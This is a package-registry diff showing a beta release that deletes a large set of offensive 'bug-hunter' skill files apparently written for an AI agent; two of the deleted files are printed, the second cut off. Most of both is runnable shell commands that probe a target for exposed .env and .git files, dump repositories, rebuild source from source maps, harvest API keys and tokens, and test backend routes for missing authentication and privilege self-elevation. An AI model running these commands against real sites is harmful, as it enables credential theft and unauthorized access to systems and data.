@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,301 +0,0 @@
1
- ---
2
- name: hunt-source-leak
3
- description: Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.
4
- sources: hackerone_public, offensive_research
5
- report_count: 7
6
- ---
7
-
8
- # HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
9
-
10
- ## Crown Jewel Targets
11
-
12
- Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
13
-
14
- **Highest-value findings:**
15
- - **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
16
- - **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
17
- - **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
18
- - **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets
19
- - **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery
20
- - **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting
21
-
22
- ---
23
-
24
- ## Phase 1 — Quick Wins (Run First)
25
-
26
- ```bash
27
- # These 10 requests take <30 seconds and often yield Critical findings
28
- for PATH in \
29
- "/.env" \
30
- "/.env.production" \
31
- "/.env.local" \
32
- "/.git/HEAD" \
33
- "/swagger.json" \
34
- "/api/swagger.json" \
35
- "/v1/swagger.json" \
36
- "/openapi.json" \
37
- "/api/openapi.json" \
38
- "/api-docs"; do
39
- STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
40
- if [ "$STATUS" = "200" ]; then
41
- echo "[+] HIT: https://$TARGET$PATH"
42
- head -5 /tmp/sl_test
43
- echo "---"
44
- fi
45
- done
46
- ```
47
-
48
- ---
49
-
50
- ## Phase 2 — Source Map Discovery
51
-
52
- > **Always resolve the CURRENT build hash before testing, and again before
53
- > re-verifying.** Bundle filenames are content-hashed, so they rotate on every
54
- > deploy. A `.map` URL recorded yesterday can 404 today while the map is still
55
- > fully exposed under a new name. **A 404 at the old URL is not remediation** —
56
- > it is a new build.
57
- >
58
- > ```bash
59
- > # ALWAYS derive the hash live, never reuse a recorded URL
60
- > HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
61
- > curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
62
- > "https://$TARGET/static/js/${HASH}.map"
63
- > ```
64
- >
65
- > **Lesson from an authorized engagement.** A large production map was found at
66
- > `main.<hashA>.js.map`. On re-verification that URL returned a small HTML
67
- > soft-404 and the finding was nearly closed as fixed. The bundle had rotated to
68
- > `main.<hashB>.js` — and the map was still published at `main.<hashB>.js.map`,
69
- > same size. Nothing had been remediated.
70
- >
71
- > Tell the client this explicitly in the report: **redeploying does not fix source
72
- > map exposure.** Only `GENERATE_SOURCEMAP=false` (or stripping `.map` at deploy)
73
- > plus a CDN purge closes it. A team that redeploys and re-checks the old link
74
- > will wrongly declare victory.
75
- >
76
- > Same rule applies to any content-hashed artifact: chunk files, CSS maps,
77
- > `asset-manifest.json`, and staging equivalents.
78
-
79
- ```bash
80
- # Step 1: Get asset manifest to find all JS bundle paths
81
- curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
82
- curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
83
-
84
- # Next.js
85
- BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
86
- curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
87
-
88
- # Step 2: For each JS bundle, check for source map reference at end of file
89
- for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
90
- LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
91
- echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
92
- done
93
-
94
- # Step 3: Download and reconstruct source from .map files
95
- JS_URL="https://$TARGET/static/js/main.abc123.js"
96
- MAP_URL="${JS_URL}.map"
97
- curl -s "$MAP_URL" | python3 -c "
98
- import sys, json, os
99
- data = json.load(sys.stdin)
100
- sources = data.get('sources', [])
101
- contents = data.get('sourcesContent', [])
102
- for i, (src, content) in enumerate(zip(sources, contents)):
103
- if content:
104
- path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
105
- os.makedirs(os.path.dirname(path), exist_ok=True)
106
- with open(path, 'w') as f:
107
- f.write(content)
108
- print(f'[+] Extracted: {src}')
109
- "
110
-
111
- # Step 4: Grep extracted source for secrets
112
- grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
113
- grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
114
- grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
115
- ```
116
-
117
- ---
118
-
119
- ## Phase 3 — Swagger / OpenAPI Discovery
120
-
121
- ```bash
122
- # Common paths
123
- SWAGGER_PATHS=(
124
- "/swagger.json" "/swagger.yaml" "/swagger/"
125
- "/api/swagger.json" "/api/swagger.yaml"
126
- "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
127
- "/openapi.json" "/openapi.yaml"
128
- "/api/openapi.json" "/api-docs" "/api-docs.json"
129
- "/api/v1/swagger.json" "/api/v2/swagger.json"
130
- "/rest/swagger.json" "/rest/api-docs"
131
- "/.well-known/openapi.json"
132
- "/graphql/schema.json"
133
- )
134
-
135
- for PATH in "${SWAGGER_PATHS[@]}"; do
136
- STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
137
- if [ "$STATUS" = "200" ]; then
138
- echo "[+] Found: https://$TARGET$PATH"
139
- # Extract all API paths from swagger
140
- python3 -c "
141
- import sys, json
142
- try:
143
- d = json.load(open('/tmp/swagger_test'))
144
- paths = list(d.get('paths', {}).keys())
145
- print(f'Endpoints: {len(paths)}')
146
- print('\n'.join(sorted(paths)))
147
- except: pass
148
- " | head -50
149
- fi
150
- done
151
- ```
152
-
153
- ---
154
-
155
- ## Phase 4 — .git Exposure
156
-
157
- ```bash
158
- # Check if .git directory is accessible
159
- curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
160
-
161
- # If exposed, reconstruct repo
162
- # Tool: git-dumper
163
- pip3 install git-dumper
164
- git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
165
-
166
- # Grep for secrets in all git history
167
- cd /tmp/dumped-repo && \
168
- git log --all --oneline 2>/dev/null | head -20
169
- git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
170
-
171
- # trufflehog on git history
172
- trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
173
- ```
174
-
175
- ---
176
-
177
- ## Phase 5 — Forgotten Files & Debug Endpoints
178
-
179
- ```bash
180
- # Build artifacts and debug files
181
- DEBUG_PATHS=(
182
- "/build-info.json" "/build/build-info.json"
183
- "/info" "/actuator/info" "/api/info"
184
- "/version" "/api/version" "/_version"
185
- "/health" "/status" "/ping"
186
- "/robots.txt" "/security.txt" "/.well-known/security.txt"
187
- "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
188
- "/crossdomain.xml" "/clientaccesspolicy.xml"
189
- "/phpinfo.php" "/info.php" "/test.php"
190
- "/server-status" "/server-info" "/.htaccess"
191
- "/web.config" "/applicationHost.config"
192
- "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
193
- "/package.json" "/composer.json" "/Gemfile"
194
- "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
195
- )
196
-
197
- for PATH in "${DEBUG_PATHS[@]}"; do
198
- STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
199
- if [ "$STATUS" = "200" ]; then
200
- echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
201
- head -3 /tmp/debug_test
202
- echo "---"
203
- fi
204
- done
205
- ```
206
-
207
- ---
208
-
209
- ## Phase 6 — .DS_Store File Listing
210
-
211
- ```bash
212
- # .DS_Store files on macOS-deployed web servers reveal directory structure
213
- curl -s "https://$TARGET/.DS_Store" | xxd | head -10
214
-
215
- # Parse .DS_Store to extract filenames
216
- pip3 install ds_store
217
- python3 -c "
218
- from ds_store import DSStore
219
- with DSStore.open('/tmp/ds_store_test', 'r') as d:
220
- for entry in d:
221
- print(entry.filename)
222
- "
223
-
224
- # Recursive .DS_Store enumeration
225
- # Tool: https://github.com/lijiejie/ds_store_exp
226
- python3 ds_store_exp.py "https://$TARGET/"
227
- ```
228
-
229
- ---
230
-
231
- ## Phase 7 — webpack Chunk Analysis
232
-
233
- ```bash
234
- # Download and analyze webpack chunks for hardcoded values
235
- # Find chunk files
236
- curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
237
- echo "Analyzing: $chunk"
238
- curl -s "https://$TARGET$chunk" | \
239
- grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
240
- done
241
-
242
- # Also grep for internal hostnames
243
- curl -s "https://$TARGET/static/js/main.*.js" | \
244
- grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
245
-
246
- # Check for Base64-encoded secrets
247
- curl -s "https://$TARGET/static/js/main.*.js" | \
248
- grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
249
- DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
250
- echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"
251
- done
252
- ```
253
-
254
- ---
255
-
256
- ## Chain Table
257
-
258
- | Source leak finding | Chain to | Impact |
259
- |--------------------|----------|--------|
260
- | Source map with API key | Use key directly → API access | High/Critical |
261
- | Source map with auth logic | Find auth bypass route | Critical |
262
- | Swagger → internal endpoints | Test undocumented admin routes | High |
263
- | .git exposed | Full source history → all past secrets | Critical |
264
- | build-info with git hash | CVE targeting exact version | High |
265
- | .env with DB_PASSWORD | Direct database access | Critical |
266
-
267
- ---
268
-
269
- ## Tools
270
-
271
- ```bash
272
- # git-dumper (reconstruct exposed .git)
273
- pip3 install git-dumper
274
- git-dumper "https://target.com/.git/" /tmp/repo/
275
-
276
- # sourcemap-explorer (visualize what's in bundles)
277
- npm install -g source-map-explorer
278
- source-map-explorer main.js
279
-
280
- # unwebpack-sourcemap (extract all source files)
281
- npm install -g unwebpack-sourcemap
282
-
283
- # trufflehog (secret scanning)
284
- trufflehog filesystem /tmp/repo/
285
- ```
286
-
287
- ---
288
-
289
- ## Validation
290
-
291
- ✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets
292
- ✅ Swagger: JSON contains internal endpoints not visible in UI
293
- ✅ .git exposed: git-dumper successfully clones repo, secrets in history
294
- ✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
295
-
296
- **Severity:**
297
- - .env with credentials: Critical
298
- - .git with secrets in history: Critical
299
- - Source map with secrets: High
300
- - Swagger with internal routes: Medium-High
301
- - robots.txt only: Informational
@@ -1,123 +0,0 @@
1
- ---
2
- name: hunt-spa-api
3
- description: Discover a single-page-app's hidden backend API from its public JS bundle, then test that API for broken access control / missing authentication. One of the highest-yield web plays in modern recon — SPAs ship their entire backend route map to the browser, and the API behind them is frequently missing the auth middleware the login page implies. Built from an authorized engagement where this play found an unauthenticated financial API that an ASM scan reporting hundreds of "Criticals" completely missed. Use whenever a target serves a JS-heavy SPA (React/Vue/Angular/Next), an "app"/"console"/"dashboard"/"portal" subdomain, or any `*api*` host shows up in recon. Leaked build artifacts (source maps / .env / .git / asset-manifest) are owned by hunt-source-leak; API version-inventory and behavioral diffing by hunt-shadow-api; this skill owns mapping a live SPA's backend routes from its JS bundle and testing them for broken access control / missing auth.
4
- sources: authorized-engagement
5
- report_count: 1
6
- ---
7
-
8
- ## When to use this skill
9
-
10
- Trigger when:
11
- - A target host returns a tiny HTML shell + big `/static/js/*.js` or `/_next/static/*` bundles (React/Vue/Angular/Next/Svelte SPA)
12
- - You see a subdomain named `console`, `app`, `dashboard`, `portal`, `admin`, `panel`, `manage`, `internal`
13
- - Recon surfaces any `*api*`, `*-api*`, `api.*` host
14
- - A login page is OAuth/SSO-gated (the *frontend* auth tells you nothing about whether the *API* enforces auth)
15
-
16
- The core insight: **a SPA is a client to a backend API, and it ships the full map of that API — hosts, routes, sometimes keys — to anyone who views source.** The login page being protected says nothing about whether the API behind it checks tokens. Auth is frequently enforced on the *gateway/login* and missing on a *route group* of the API.
17
-
18
- DO NOT skip this because "the app needs login" — that's exactly when this pays off.
19
-
20
- ---
21
-
22
- ## The play (5 steps)
23
-
24
- ### 1. Pull the shell + enumerate the bundles
25
- ```bash
26
- curl -s https://console.target.com/ -o index.html
27
- # React/CRA:
28
- grep -oE '/static/js/[^"]+\.js' index.html
29
- # Next.js:
30
- grep -oE '/_next/static/[^"]+\.js' index.html
31
- # generic:
32
- grep -oiE 'src="[^"]+\.js[^"]*"' index.html
33
- ```
34
- Download every bundle (they can be multi-MB — that's fine, it's all route data):
35
- ```bash
36
- mkdir bundles
37
- for j in $(grep -oE '/static/js/[^"]+\.js' index.html | sort -u); do
38
- curl -s "https://console.target.com$j" -o "bundles/$(echo "$j"|tr '/' '_')"
39
- done
40
- ```
41
-
42
- ### 2. Harvest API hosts, routes, and secrets from the bundles
43
- ```bash
44
- B=bundles/*.js
45
- # Backend API hosts (incl. dev/beta/staging variants — often weaker auth)
46
- grep -ohiE 'https://[a-z0-9.-]*(api|console|backend|service)[a-z0-9.-]*\.target\.com[a-z0-9/_-]*' $B | sort -u
47
- # Versioned API base paths
48
- grep -ohiE '/api/v[0-9]+/?' $B | sort -u
49
- # Route literals — minified bundles store routes as STRING segments, not full URLs.
50
- # Grep for quoted "resource/action" strings:
51
- grep -ohiE '"[a-z0-9_-]+/[a-z0-9_/-]+"' $B | tr -d '"' \
52
- | grep -iE '(login|user|account|order|billing|invoice|payment|deal|report|token|otp|password|reset|admin|profile|auth|upload|export|role|permission|dashboard|wallet|finance|sales)' | sort -u
53
- # Secrets (validate before trusting — most AIza keys are Maps/analytics, not Auth)
54
- grep -ohiE '(AIza[0-9A-Za-z_-]{35}|AKIA[0-9A-Z]{16}|sk_live_[0-9A-Za-z]+|eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}|apiKey["'"'"']?\s*[:=]\s*["'"'"'][^"'"'"']+)' $B | sort -u
55
- ```
56
- **Note:** minifiers store routes as concatenated string segments (e.g. `"account/payment/list"`), NOT full `/api/v2/...` URLs — so a naive `/api/v*` grep returns nothing. Grep for the **resource-word route strings** and prepend the base yourself.
57
-
58
- **Lazy-loaded (async) chunks — don't stop at HTML-referenced bundles.** CRA/webpack SPAs reference only runtime+main+vendor in index.html; numbered async route chunks are named inside main.js's chunk map and loaded at runtime, so grepping only `/static/js/*.js` from the shell truncates route coverage to eager chunks.
59
- ```bash
60
- grep -oE '[0-9]+:"[a-f0-9]+"' bundles/*main*.js # {chunkId:"hash"} pairs
61
- # reconstruct /static/js/<id>.<hash>.chunk.js, download each, re-run route/host/secret harvest
62
- # asset-manifest.json (if present) lists them all -> hunt-source-leak
63
- ```
64
-
65
- ### 3. Establish a CONTROL — find an endpoint that IS gated
66
- Before declaring anything vulnerable, send an unauthenticated request to an endpoint you expect to be protected, and capture what *correct* rejection looks like:
67
- ```bash
68
- curl -s -X POST https://api.target.com/api/users -H 'Content-Type: application/json' -d '{}'
69
- # secure → {"error":"Missing or invalid authorization header"} or HTTP 401
70
- ```
71
- This is your differential. A sibling API (e.g. a second API host, or a different route group on the same host) is the ideal control — same stack, so a different response = real authz gap, not a quirk.
72
-
73
- ### 4. Test each route family UNAUTHENTICATED, both methods
74
- For every discovered route, send it with **no `Authorization` header** and compare to the control:
75
- ```bash
76
- for r in <routes>; do
77
- curl -s -o /tmp/r -w "[%{http_code}] $r\n" -X POST -H 'Content-Type: application/json' -d '{}' "https://api.target.com/api/v2/$r"
78
- done
79
- ```
80
- Interpret:
81
- - **`401`/`"Missing authorization"`** → gated (correct). Move on.
82
- - **`200` with data** → unauthenticated data exposure. **Finding.**
83
- - **`400 "field X is mandatory"`** → the route processed your request and reached *business-logic validation* without an auth check → **auth bypass; supply the field minimally to confirm.**
84
- - **`200` + verbose DB/stack error** (e.g. `PROCEDURE db_x.sp_y does not exist`) → reached the data layer unauthenticated; also a SQLi-surface signal.
85
- - **Mandatory fields named like `is_admin` / `is_internal` / `requested_by` / `role_id` / `account_type`** → **authorization derived from client-supplied parameters** — set the privilege flag and you self-elevate. Critical-class.
86
-
87
- ### 5. Pivot & prove (minimally)
88
- - IDs returned by one endpoint (`account_id`, `order_id`, `deal_id`) are the keys the *other* endpoints consume — they prove the whole router is reachable, not just one route.
89
- - Test `dev-`/`beta-`/`staging-` API variants — they frequently have weaker/disabled auth.
90
